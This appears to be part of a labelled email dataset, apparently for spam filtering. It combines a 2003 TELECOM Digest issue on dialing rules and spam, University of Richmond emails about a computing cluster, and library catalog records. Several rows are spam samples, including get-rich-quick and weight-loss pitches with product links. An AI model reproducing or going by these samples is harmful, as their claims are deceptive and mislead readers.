Share vs. Loss Per Share of ($.08) in the Prior Year - Reaffirms Full-Year 2003 Guidance: * Sales: $27.5 Billion, up 3% vs. 2002 * GAAP Earnings Per Share of $.40 vs. Loss of ($1.09) in 2002 * Earnings Per Share, Excluding Special Items, of $.40 vs. $.14 - in 200 SCHAUMBURG, Ill., Jan. 21 /PRNewswire-FirstCall/ -- Motorola, Inc. (NYSE:MOT) today reported sales of $7.5 billion in the fourth quarter of 2002 and net earnings of $174 million, or $.08 per share, presented in accordance with generally accepted accounting principles (GAAP). This represents an increase in sales of 3 percent from $7.3 billion in the year-ago quarter. Motorola reported a net loss in the year-ago quarter of $1.2 billion, or ($.55) per share. Excluding special items, Motorola had net earnings in the fourth quarter of 2002 of $299 million, or $.13 per share, compared with a net loss of $90 million, or ($.04) per share, in the year-ago quarter. In the fourth quarter of 2002, Motorola reported special items resulting in a net charge of $203 million pre-tax, or $125 million after-tax. Motorola communicated in July 2002 that it anticipated it would take special charges of approximately $200 million in the fourth quarter of 2002. In the fourth quarter of 2001, Motorola reported special items resulting in a net charge of $1.7 billion pre- tax, or $1.1 billion after tax. Details of the special items are presented in a table at the end of this press release. http://finance.lycos.com/home/news/story.asp?story=31039889 ------------------------------ Date: Tue, 21 Jan 2003 18:19:56 -0500 From: Monty Solomon Subject: TiVo Announces Resignation of Morgan Guenther, President SAN JOSE, Calif., Jan. 21 /PRNewswire-FirstCall/ -- TiVo (NASDAQ:TIVO), the creator of and leader in television services for digital video recorders (DVR), today announced the resignation of Morgan Guenther, effective January 31, 2003. Guenther joined TiVo in 1999 and was named president in October 2001. ""Over the last three years, Morgan has been involved in developing many of TiVo's strategic alliances and helped to develop TiVo's current business model,"" said TiVo CEO Mike Ramsay. ""We appreciate Morgan's contribution and wish him well in his future endeavors."" TiVo has already initiated a search for a senior executive to oversee the business development areas that are managed by Guenther. http://finance.lycos.com/home/news/story.asp?story=31040340 ------------------------------ Date: Wed, 22 Jan 2003 01:12:30 -0500 From: Monty Solomon Subject: In Re: Verizon Internet Services, Inc. IN RE: VERIZON INTERNET SERVICES, INC. (January 21, 2003) Court Order Directing An Internet Service Provider To Provide, Pursuant To Subpoena, The Music Industry's RIAA With The Identity Of An Anonymous User Suspected Of Infringing Copyright Holders' Rights By Allegedly Having Allowed Web Users To Downloaded More Than 600 Copyright-Protected Songs In A Single Day [PDF] http://news.findlaw.com/hdocs/docs/verizon/inreverizon12103opn.pdf ------------------------------ From: Subject: Last Laugh! ***SPAM*** I Made $60,000 in Two Months!!! Date: Thu, 23 Jan 2003 00:09:45 -0100 [TELECOM Digest Editor's Note: It seems to be not enough that we each get tons of spam every day; now there is a netizen who wishes to sell us material on how to create new, additional spam. I thought this thing which I found in my spam bucket yesterday was really very interesting. PAT] Hi: I'm a college dropout. I work about two hours a day. I'm ambitious, but extremely lazy, and I make over $30,000 a month. Are you curious yet? In a minute I'm going to tell you my secret, it's the dirty little secret of the Internet ... You've probably heard stories about people making whopping huge money online, but you thought they were the big corporate execs, famous programmers, or boy-geniuses. Well, grasshopper, think again ... It's people like you and me that are making the real money. Yep, people like YOU AND ME! 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End of TELECOM Digest V22 #249 ****************************** >From editor@telecom-digest.org Thu Jan 23 19:17:11 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h0O0HBP18080; Thu, 23 Jan 2003 19:17:11 -0500 (EST) Date: Thu, 23 Jan 2003 19:17:11 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301240017.h0O0HBP18080@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #250 TELECOM Digest Thu, 23 Jan 2003 19:17:00 EST Volume 22 : Issue 250 Inside This Issue: Editor: Patrick A. Townson Re: 11-Digit Dialing Comes to NYC (Lisa Miller) Re: 11-Digit Dialing Comes to NYC (Tony Pelliccio) Re: 11-Digit Dialing Comes to NYC (John Higdon) Re: 11-Digit Dialing Comes to NYC (John R. Levine) Calling Party Pays to Cellular (Randal Hayes) Westchester DA (NYC Suburb) vs. Nigerian Scammers (fwd) (Danny Burstein) A Pretty Decent Anti-Spam Decision in NYS (Danny Burstein) Re: The Digest Was Spammed Again!(David B. Horvath, CCP) Re: The Digest Was Spammed Again! (Tom Betz) Re: AT&T Broadband Raises Prices For Cablemodem Service (Steven J. Sobol) Re: AT&T Broadband Raises Prices For Cablemodem Service (Dave Phelps) Re: Looking for Satellite TV, Internet, Phone Provider (John Higdon) Re: Looking for Satellite TV, Internet, Phone Provider (Steven J. Sobol) Re: Prison Call Overcharging (Gail M. Hall) Re: 666 (Doug Krause) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Lisa Miller Subject: Re: 11-Digit Dialing Comes to NYC Date: Tue, 21 Jan 2003 21:57:07 -0500 Allston Parking Refugee wrote: > 11-digit dialing is coming to NYC on February 1, 2003. NYC had > managed to hang onto 7 digit dialing even with its overlays for a few > years, thanks to the NYS PSC who fought the FCC and lost over this > issue. I can understand why the area code has to be dialed, but why is Verizon (or the NY PUC?) mandating the 1+ too? Verizon has already implemented 10 digit dialing up and down its territory, as have many other places too. In these areas, Verizon has repeated over and over that the 1+ is not necessary, and to just dial 10 digits, not 11. But in New York City, 11 (1+ 10digits) apparently will be mandated. I suspect it is the PUC that is requiring this strangeness, but who knows. Verizon obviously has the technology to do just 10 digits. It would make a lot more sense to keep things consistent across the land where the area code must be used for all calls. Reference: http://tinyurl.com/4qbq (Verizon Web Page) ------------------------------ From: Tony Pelliccio Subject: Re: 11-Digit Dialing Comes to NYC Organization: The Ace Tomatoe and Cement Company Date: Wed, 22 Jan 2003 04:09:07 GMT In article , AllstonParkingRefugee@hotmail.com says: > [TELECOM Digest Editor's Note: That dialing '1' in front of everything > is a dumb move. I hope they will fix it at least so that a person who > without thinking dials '1911' won't be forced to hang up and dial > again. PAT] It's a revenue enhancer. Used to be that 1 was the toll indicator , now people will just blindly dial away and get hit with the toll when the bill comes in. Typical predatory tactics. Tony ------------------------------ From: John Higdon Subject: Re: 11-Digit Dialing Comes to NYC Organization: Green Hills and Cows Date: Tue, 21 Jan 2003 17:57:11 -0800 In article , AllstonParkingRefugee@hotmail.com (Allston Parking Refugee) wrote: > Besides the general stupidity of having to dial an area code when > calling within the same area code, this new scheme makes even less > sense, since dialing a 1 will now be required for *all* calls, except > things like 911, 411, and 0. What's the point of making everyone who > calls anywhere dial a 1? How long until they sell phones that dial a > 1 as soon as you pick up the receiver? I can see why you would have to dial the local area code (after all, how would the switch know WHICH local area code in the overlay that you meant?), but the dialing of the '1' seems superfluous. Back in the really old days (fifties), not only was a '1' not necessary for dialing long distance here, but a '1' as an initial digit would not even break dial tone. Somewhere in the eighties, the '1' became optional. You could dial it (it would break dial tone then) or not; your call would complete just fine regardless. Then finally, in the mid-nineties when the informal prefixes finally came to 408, the '1' became mandatory to differentiate between a seven or ten-digit number. Any area that uses ten-digit dialing should make the '1' optional. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: 11-Digit Dialing Comes to NYC Date: 22 Jan 2003 00:35:31 -0500 Organization: I.E.C.C., Trumansburg NY USA > What's the point of making everyone who calls anywhere dial a 1? To prevent misdialing by people who are trying to dial seven digit numbers. I suspect after training the customers for a year or two, they'll start letting you dial without the 1. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ Date: Thu, 23 Jan 2003 12:15:20 -0600 From: Randal Hayes Subject: Calling Party Pays to Cellular In December 2001, the FCC lifted its ban on technology-specific area codes. However, the FCC's policy change does not automatically assure approval of a request for such an area code. It requires state regulatory agencies to request such area codes on an individual basis, and each will be approved/disapproved based on the merits of the request. Randy Hayes University of Northern Iowa ------------------------------ From: Danny Burstein Subject: Westchester DA (NYC Suburb) vs. Nigerian Scammers (fwd) Date: Thu, 23 Jan 2003 18:13:21 -0500 Organization: PANIX Public Access Internet and UNIX, NYC TWO INDICTED IN NIGERIAN BUSINESS SCAM Westchester County District Attorney Jeanine Pirro and Ardsley Police Chief Emil Califano announced the indictment of Chuks Nwogu (DOB 9/12/70) of 63 West 7th Street, Mt. Vernon, New York and his wife, Svitlana Nwogu (DOB 2/18/77) of 3039 Kingsland Ave. Bronx, New York for Grand Larceny in the Second and Third Degree. It is alleged that over the course of the past year, the two defendants and others solicited more than $200,000 in cash payments from a Wisconsin businessman on the pretext that the money would be used to ship $50,000,000 into the United States from Nigeria, at which time the victim would receive one third of the money. [ snippety snip, rest at: http://www.da.westchester.ny.us/detailp.cfm?page=793 ] _____________________________________________________ Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] [TELECOM Digest Editor's Note: I have to wonder what sort of 'businessman' the guy in Wisconsin would be to give away two hundred thousand in cash on a Nigerian promise to send him fifty million dollars. I've seen those scams forever and did not realize there are some people who fall for them. PAT] ------------------------------ From: Danny Burstein Subject: A Pretty Decent Anti-Spam Decision in NYS Date: Thu, 23 Jan 2003 18:14:04 -0500 Organization: PANIX Public Access Internet and UNIX, NYC And it's one using common sense consumer protection truth-in-advertising laws rather than brand new stuff. lots of good points here which would apply to many other spammers. http://www.oag.state.ny.us/press/2003/jan/jan22c_03.html Manhattan Supreme Court Justice Lottie E. Wilkins permanently enjoined MonsterHut, Inc., its Chief Executive Officer Todd Pelow, and its Chief Technical Officer Gary Hartl, from ""further engaging in any of the fraudulent, deceptive and illegal acts and practices pertaining to representations of 'opt-in', 'opt-out' or the 'permission-based' nature of their protocols or the collection and use of their email data."" A central issue in the dispute was the Attorney General's contention � which the court endorsed � that Monsterhut and its principals had violated New York's consumer fraud laws by falsely representing that the company had obtained consumers' ""permission"" to send emails, or that consumers had ""opted in"" to receive them. The court held that the term ""opt-in"" (like the term ""opt-out"") has a clearly defined meaning within the industry, regulators and that Monsterhut's practice did not qualify as ""opt-in"" under the accepted definition of that term. [ snip ] _____________________________________________________ Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ Date: Tue, 21 Jan 2003 21:06:28 -0500 From: dhorvath@cobs.com (David B. Horvath, CCP) Subject: Re: The Digest Was Spammed Again! At 08:41 PM 1/21/03 -0500, telecom@telecom-digest.org wrote: dhorvath@cobs.com (David B. Horvath, CCP) wrote that The Digest Was Spammed Again! > SPAM, plain and simple PAT. > Sorry ... At 09:02 PM 1/20/03 -0500, telecom@telecom-digest.org wrote: > From: Protect > Subject: Now is the Time to Get Protected > Reply-To: Protect@home.com > Date: Tue, 21 Jan 2003 14:17:56 -0500 > Organization: Bell Sympatico > Now is the time to get protected. > The reason is believed to be the new porn scandal > which is making everyone more aware of the risks of being > investigated. If you haven't already heard, there are a > staggering 300,000 suspects on the list, So far, more than > 1300 arrests have been made including a judge, magistrates, > senior public school teachers and 50 police officers. > http://soz.web1000.com/protect.htm > [TELECOM Digest Editor's Note: May I ask, of curiosity, *who told > you* this was spam, and more specifically, 'bad' (that is, mostly > useless) spam? I had never seen it prior to getting in the mail > yesterday. Most 'bad' spam I get frequently, like everyone else. > PAT] No one told me, I clicked on the link expecting to find an interesting article (about some porn scandal and maybe even a review of protection software), followed the links, and ended up on a page that tried to sell me some software that clears out caches and run histories (and other stuff) for over $100 for a single user license. And if you don't buy the product, you get multiple large pop-up browser windows asking why you didn't buy ... - David [TELECOM Digest Editor's Note: What about the writer's allegation of three hundred thousand 'suspects' and 'hundreds of arrests already made'. Was there any truth to any of that? PAT] ------------------------------ From: Tom Betz Subject: Re: The Digest Was Spammed Again! Date: Thu, 23 Jan 2003 01:33:40 UTC Organization: XOme Quoth dhorvath@cobs.com (David B. Horvath, CCP) in news:telecom22.248.14@telecom-digest.org: > [TELECOM Digest Editor's Note: May I ask, of curiosity, *who told you* > this was spam, and more specifically, 'bad' (that is, mostly useless) > spam? I had never seen it prior to getting in the mail > yesterday. Most 'bad' spam I get frequently, like everyone else. PAT] It's spam for ""Evidence Eliminator"". See for a WHOLE BUNCH of collected spam (going back more than two years) for Evidence Eliminator. [TELECOM Digest Editor's Note: You know, it may get to the point real soon here on this list that I start accepting incoming mail *only* from a trusted whitelist of readers/contributors, with all other mail going into the bit bucket. There simply is not enough time in the day for *me* to go around the web looking for hiding places for spam. All trusted whitelist contributors will have a list giving the correct email addresses of others on the list. Then all email addresses printed here will vanish also. That seems to me like a horrible way to be part of the net, and extremely arrogant. Do you knoww, Tom, if there was any truth at all to his allegations regards the number of 'suspects', inquistioned persons, etc? Or was that all just a lot of crap as well? PAT] ------------------------------ From: Steven J. Sobol Subject: Re: AT&T Broadband Raises Prices For Cablemodem Service Date: Wed, 22 Jan 2003 02:20:38 -0000 Organization: JustThe.net LLC In article , Herb Stein wrote: > Not to defend SBC, even though I retired from there, but I've actually > had very good service on the DSL side. I just spent 2 hours on the SBC Internet Services did OK for me in the year that I had them for DSL. The telco division of SBC is the fine group of people that screwed up my DSL line by placing a loop between me and the CO that never should have been there, and sat on the problem for two months. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: Dave Phelps Subject: Re: AT&T Broadband Raises Prices For Cablemodem Service Date: Tue, 21 Jan 2003 22:38:08 -0600 In article , herb@herbstein.com says: > Not to defend SBC, even though I retired from there, but I've actually > had very good service on the DSL side. I just spent 2 hours on the > phone with them after my wife f**ked up her DSL install and they were > pleasant the entire time. I'm in St. Louis BTW. I prefer to think that > an old retired fart gets no better service that the general public, AccessUS, from my limited experience, is a shambles. From what I've seen, I can't believe they're still around. I just installed another SBC ADSL connection today. SLA=128/384. Actual, about 110/150-170. We'll see how it goes. When I called them, they fed me a line about leaving the DSL modem on for ten days for ""optimization"". Anyone know what SBC does during the ten day ""optimization"" period? Firmware upgrade? Dave Phelps Phone Masters Ltd. deadspam=tippenring ------------------------------ From: John Higdon Subject: Re: Looking for Satellite TV, Internet, Phone Provider Organization: Green Hills and Cows Date: Tue, 21 Jan 2003 17:59:53 -0800 In article , *selah* wrote: > I'm looking for companies that would be able to provide phone, tv and > internet from a satellite dish. Would appreciate any info. Would you REALLY want to talk on a phone served by a satellite in synchronous orbit? John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Steven J. Sobol Subject: Re: Looking for Satellite TV, Internet, Phone Provider Date: Wed, 22 Jan 2003 02:18:08 -0000 Organization: JustThe.net LLC In article , *selah* wrote: > I'm looking for companies that would be able to provide phone, tv and > internet from a satellite dish. Would appreciate any info. Starband would be able to do the Satellite Internet/TV. If you're in an area that Vonage serves you can use them for phone over your broadband Internet connection. I'm considering trying them myself. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: Gail M. Hall Subject: Re: Prison Call Overcharging Date: Wed, 22 Jan 2003 04:00:33 -0500 Reply-To: gmhall@apk.net On 6 Jan 2003 08:28:10 -0800, in comp.dcom.telecom message , you wrote: > hancock4@bbs.cpcn.com (Jeff Nor Lisa) wrote in message > news:: > There are a great many more issues involved in this than what is being > presented in this post. The point of this post indicates that > ""collect calls from correctional facilities cost more than collect > calls from regular payphones and that is wrong."" While this is true, > there are other factors that are not addressed in this broadside that > fail to mention some of the reasons behind the high charges. There are other issues, too, even for calls other than from prisons. I think that when I am paying for a long-distance call, even if as a collect call, it should be paid to the company *I* have selected as my long-distance carrier. I have supposedly had the chance to see their rates for different kinds of calls. When the call comes collect and is being charged by a company unknown to me, I have NO way of knowing who they are or what their rates are until I get my phone bill. That's a terrible way to do business! People should have the right to know up front what the charges are so they can make an informed decision about whether to accept the charges or not. I have NEVER been asked to accept charges on a collect call when I was *informed* about what company the L/D carrier is or what the rate I am paying will be. Most of those collect calls these days are automated and you can't talk to an operator who can tell me what the per-minute charges are. Lately, I have been seeing MANY advertisements for something called 1-800-COLLECT which tells us to ""save a buck or two."" Well, if you call ""Momma"" using that service, how is she going to know what the charges will be? How will you know for sure that you are saving her ""a buck or two"" when you use this service? I suspect a lot of people will be duped and find out the charges are not really better. I remember for a while getting a rash of collect calls from some kind of penal institution. I could never understand or hear clearly the name given of the person trying to make the call. I always just hang up immediately, thinking they dialed a wrong number. Yet, when it happened a lot, I began to think someone was up to no good since I had no family or friends in such a place. I personally think the prisons would do better to have an approved list of numbers a prisoner can call out to. Family members willing to be called could register their numbers with the prison as OK for the prisoner to call. This might stop some of the problem of them dialing people like us who have no desire to talk to strangers who are in jail or prison. > Many facilities allow the inmate to purchase phone time from > commissary credits or from funds sent from home. These calls are > still handled at the higher rates, but the family is not billed for > these calls. That's a great idea! This would allow the family to budget how much they want to contribute toward that person's phone calls. If he uses up all the money on trivial calls, that's his problem. The family can at least say they have paid an amount they can afford and not have to worry about accepting charges for calls they have no idea what the rates are. I'll be interested to hear if this ""Save a buck or two"" company really does save people money for collect call charges. I must say they have some cute commercials! Gail in Ohio USA ------------------------------ From: dkrause@ratcage.com (Doug Krause) Subject: Re: 666 Date: 21 Jan 2003 20:52:11 -0600 Organization: Rat Cage Unlimited In article , Neal McLain wrote: > PAT Wrote: >> [TELECOM Digest Editor's Note: Why do you suppose it is there >> is not (and is unlikely to ever be) an area code '666'? Same >> reason. Americans are very superstitious people.... > Not the mention the fact that all ""YYY"" combination (all three digits > the same) are reserved for some unspecified future use. Or, as our > friends at put it, YYY combos are ""Unassigned > easy-to-recognize."" For that matter, so are all NYY combinations. But there are 666 exchanges. At least 714 (Houston, et al) has it. Doug Krause dijon@ratcage.com [TELECOM Digest Editor's Note: But many of the '666 exchanges' are quite old and were around as names (such as MONroe in Chicago) prior to going to numbers. I wonder what 666 exchanges are newer (in the last ten or twenty years) and began life merely as '666' rather than as a name combination? PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. 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End of TELECOM Digest V22 #250 ******************************",0,1 Adnan Iqbal ,ggilfoyl@richmond.edu,"Fri, 03 Jan 2003 16:38:33 -0500",power problems on Jan 1st / 2nd???!,"Hey Dr. G Thanks for your email the other day. Hope you had a good new year too. There apparently was a power cut sometime either on the night of the 1st or the 2nd, because when i came into work this morning all the nodes in the old cluster were turned off. While most of the nodes came back up successfully, Psc11 is not starting up at all (cant powerup the machine). Its possible that the power surge/cut might have blown a fuse or smthg..( or the power supply itself). Psc8 also continues to have problems with its SCSI device. Just thought i'd fill you in on the latest development with PSC11. Please do let me know the suitable course of action you'd like me to take. Thanks and hope to hear from you soon. -Adnan ",0,0 """Windburns E. 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At the time I identified two links out on the Internet that were experiencing some congestion. I have noticed in the last week or two that our Internet2/Abilene connection had been getting some heavy use. I suspected you might be taking advantage of this resource, and sure enough, the traffic is between Physics and jlab. So, I am interested in whether you are experiencing better file transfer rates and also how you were able to take advantage of Internet2. Did jlab get an I2 connection, or did they allow you to use a different machine on their network with such a connection. I'm interested because we have had the I2 connection for some time now, and you are the first faculy member of which I am aware who has taken advantage of this resource. Look forward to your response. Greg Miller Network Services University of Richmond gmiller@richmond.edu 804-289-8546 > -----Original Message----- > From: gilfoyle [mailto:ggilfoyl@richmond.edu] > Sent: Friday, September 27, 2002 9:17 AM > To: hcaruso@richmond.edu > Subject: slow network speed > > > Hi Holly, > > We have some rather poor data transfer rates between JLab > and the University and I am trying to track down the problem. > When I do a traceroute from Richmond to JLab things appear to > go slow at BB2-M1R1 and Janus. The output from the traceroutes > is in the attached file. The response from the JLab machines > always times out because of the security restrictions they put > on all the computers here. Does this make sense to you? Is > there anything we can do about it? > > thanks-in-advance, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 > > ---- > ",0,0 """Souleret, George"" ","""Gilfoyle, Gerard"" ","Wed, 08 Jan 2003 10:56:40 -0500",RE: some questions,"Jerry- There seems to be some spare capacity in the panel. I think we can support 25 amps or so on each of three phases (120 volt). Hope this helps. George -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Thursday, January 02, 2003 11:42 AM To: Souleret, George Subject: Re: some questions hi george, thanks! jerry ""Souleret, George"" wrote: > > Jerry- > > The air-conditioner is a 5-ton unit (approximately 60,000 btuh total > capacity) and has a low-ambient kit for running when it is cold outside. > > The electrical panel is a 100-amp three phase unit, and runs the computer > cluster. I would need to get an ammeter placed on it to see what current > load it has to see how much (if any) spare capacity there is. > > George > > -----Original Message----- > From: Gerard P. Gilfoyle [mailto:ggilfoyl@richmond.edu] > Sent: Thursday, December 26, 2002 9:22 AM > To: gsoulere@richmond.edu > Subject: some questions > > Hi George, > > Merry Christmas! I have a couple of questions about the new > supercomputer lab that we put together last year. This is room > N-207 in Gottwald. What is the size of the air conditioner that > was put in the room? Also do you know how much current we can > draw from that new circuit board in the cluster lab? > > thanks-in-advance, > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Wed Jan 8 09:04:22 2003 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id h085l0Z05992 for ; Wed, 8 Jan 2003 00:47:00 -0500 Received: from monty.richmond.edu (monty.richmond.edu [141.166.188.13]) by argyle.richmond.edu (8.11.6/8.11.6) with ESMTP id h085ikW23774; Wed, 8 Jan 2003 00:44:46 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by monty.richmond.edu (8.11.6/8.11.6) with SMTP id h085ndV05912; Wed, 8 Jan 2003 00:49:39 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2003010800443009768 ; Wed, 08 Jan 2003 00:44:30 -0500 Received: from rocky.richmond.edu (rocky.richmond.edu [141.166.218.235]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id h085iUq22479; Wed, 8 Jan 2003 00:44:30 -0500 Received: (from apache@localhost) by rocky.richmond.edu (8.11.6/8.11.6) id h085iTk24910; Wed, 8 Jan 2003 00:44:29 -0500 X-Authentication-Warning: rocky.richmond.edu: apache set sender to aiqbal@richmond.edu using -f Received: from 209.158.200.2 (SquirrelMail authenticated user aiqbal) by spidermail.richmond.edu with HTTP; Wed, 8 Jan 2003 00:44:29 -0500 (EST) Message-ID: <1924.209.158.200.2.1042004669.squirrel@spidermail.richmond.edu> Date: Wed, 8 Jan 2003 00:44:29 -0500 (EST) Subject: Re: (no subject) From: ""Adnan Iqbal"" To: In-Reply-To: <3287.141.166.225.16.1041975476.squirrel@spidermail.richmond.edu> References: <1863.141.166.225.16.1041957390.squirrel@spidermail.richmond.edu> <1628.141.166.229.9.1041959709.squirrel@spidermail.richmond.edu> <3287.141.166.225.16.1041975476.squirrel@spidermail.richmond.edu> X-Priority: 3 Importance: Normal Cc: X-Mailer: SquirrelMail (version 1.2.10) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam, SpamAssassin (score=-0.7, required 5, IN_REP_TO, REFERENCES, SPAM_PHRASE_00_01, X_AUTH_WARNING) Status: X-Mozilla-Status: 8011 X-Mozilla-Status2: 00000000 X-UIDL: 38eb2673000047e9 Vikash Lets meet in front of the Science building at 4:00pm on friday. We can work for a couple of hours and I'll give you an overview of linux and the clusters. We can then knock out stuff left on the agenda on saturday. I plan to be in all day. See you soon. -Adnan Vikash Davda said: > Hey Adnan, > > I have Parallel Programming from 2:40 to 3:30 on Friday. I am free > after that. I am free anytime on Saturday as well. > > See you soon, > Vikash > > >> Hi Vikash >> >> Hows your friday afternoon and saturday looking? I am free anytime >> after 3:00pm on friday and will be in on saturday. Let me know. >> >> Welcome back and see you soon. >> >> -Adnan >> >> >> Vikash Davda said: >>> Hey Adnan, >>> >>> When can I start work? I was thinking next week. Let me know >>> anything else that has been going on that I should know. >>> >>> Thanks, >>> Vikash.",0,0 """West, Elizabeth"" ",DMDX@psy1.psych.arizona.edu,"Wed, 08 Jan 2003 18:38:35 -0500",palatine,"Company Update: We sent out a newsletter on April 6th telling people we would not be able to release our 10 day weight formula until July 19th. Well that was then and this is now! Our product has been pushed through all the tests and is ready for release in stores on May 29th. If you can't wait, then we are accepting early orders from our website below. http://www.admvahonow.com Not a Subscriber? You can update our records from our website. Think-Thin Solutions Monthly Newsletter Subscriber: Aimee-908 ",1,1 FORMATION Search Tips and ,ramon.arrowsmith@asu.edu,"Fri, 10 Jan 2003 15:45:55 -0700",From the Cline Library Web Catalog,"Record 1 of 6 LOCATIONS Special Collections CALL # GB1025.A6 H3. AUTHOR Harshbarger and Associates. TITLE Hydrogeological and geophysical report : Lake Mary Area, City of Flagstaff, Arizona / prepared for the City Council, Flagstaff, Arizona ; Harshbarger and Associates. PUBLISHER Tucson : Harshbarger, 1977. DESCRIPT 86 leaves in various pagings : ill., maps (2 fold. in pocket) ; 28 cm. NOTE Bibliography: leaves [80-86] SUBJECT Groundwater -- Arizona -- Flagstaff. SUBJECT Groundwater -- Arizona -- Mary, Lake. OCLC # 3029289. CARL CARL0003029289. 1 > Special Collections GB1025.A6H3 IN LIBRARY 2 > Special Collections GB1025.A6H3 c.2 IN LIBRARY Record 2 of 6 LOCATIONS Special Collections CALL # GB1025.A6 H32. AUTHOR Harshbarger and Associates. TITLE Lake Mary aquifer report : City of Flagstaff, Arizona / prepared for the City Council, Flagstaff, Arizona. PUBLISHER Tucson : Harshbarger, 1976. DESCRIPT 93 leaves in various pagings (11 fold.) : ill., maps ; 28 cm. NOTE Cover title. NOTE Bibliography: leaf [78] SUBJECT Groundwater -- Arizona -- Flagstaff. SUBJECT Groundwater -- Arizona -- Mary, Lake. OCLC # 3029268. CARL CARL0003029268. 1 > Special Collections GB1025.A6H32 IN LIBRARY 2 > Special Collections GB1025.A6H32 c.2 IN LIBRARY Record 3 of 6 LOCATIONS Special Collections CALL # TD225.F4 T345. AUTHOR Taylor & Taylor Consulting Engineers. TITLE Lake Mary water project, Flagstaff, Arizona / Taylor & Taylor Consulting Engineers. PUBLISHER Los Angeles : Taylor, [1940?] DESCRIPT ca. 150 leaves ; 29 cm. NOTE Xerox of typescript. SUBJECT Waterworks -- Specifications -- Arizona -- Flagstaff. SUBJECT Water-supply -- Arizona -- Flagstaff. OCLC # 3297355. CARL CARL0003297355. 1 > Special Collections TD225.F4T345 IN LIBRARY Record 4 of 6 LOCATIONS Book Stacks CALL # GB1199.3.A6 G68 1995. AUTHOR Grecu, Valeriu R., 1943- TITLE Structural and hydrologic anaysis [sic.] of Coconino-Supai aquifer, Lake Mary watershed, Coconino County, Arizona / by Valeriu R. Grecu. PUBLISHER [Flagstaff, Ariz. : Northern Arizona University], 1995. DESCRIPT viii, 143 leaves : ill., maps (some folded) ; 28 cm. NOTE Thesis (M.S.)--Northern Arizona University, 1995. NOTE Includes bibliographical references. NOTE cm. SUBJECT Aquifers -- Arizona -- Mary, Lake, Watershed (Coconino County) SUBJECT Groundwater -- Arizona -- Mary, Lake, Watershed (Coconino County) SUBJECT Water-supply -- Arizona -- Flagstaff. SUBJECT Coconino-Supai Aquifer (Ariz.) ALT AUTHOR Northern Arizona University. Theses, dissertations, practicums, etc. ADD TITLE Structural and hydrologic analysis of Coconino-Supai aquifer, Lake Mary watershed, Coconino County, Arizona. OCLC # 34010982. 1 > Book Stacks GB1199.3.A6 G68 1995 IN LIBRARY 2 > Special Coll. Arch GB1199.3.A6 G68 1995 c.2 IN LIBRARY Record 5 of 6 LOCATIONS Arizona Documents & Special Collections CALL # QE535.2.U6 P588 1996. TITLE Plio-Quaternary faulting and seismic hazard in the Flagstaff area, northern Arizona / Philip A. Pearthree ... [et al.]. PUBLISHER Tucson, AZ : Arizona Geological Survey, 1996. DESCRIPT 31 p. : ill., maps ; 28 cm. SERIES Bulletin / Arizona Geological Survey ; 200. SERIES Bulletin (Arizona Geological Survey) ; 200. NOTE Two maps on 2 folded sheets in pocket. NOTE ""Report prepared in cooperation with the Arizona Earthquake Preparedness Program, Arizona Division of Emergency Management, and the Federal Emergency Management Agency."" NOTE Includes bibliographical references (p. 29-31). NOTE Plate 1. Geologic map of area near the Bellemont Fault and Camp Navajo, Coconino County, Arizona -- Plate 2. Neotectonic map of the Flagstaff area. NOTE nh. SUBJECT Faults (Geology) -- Arizona -- Flagstaff Region. SUBJECT Geology, Stratigraphic -- Quaternary. SUBJECT Earthquake hazard analysis -- Arizona -- Flagstaff Region. 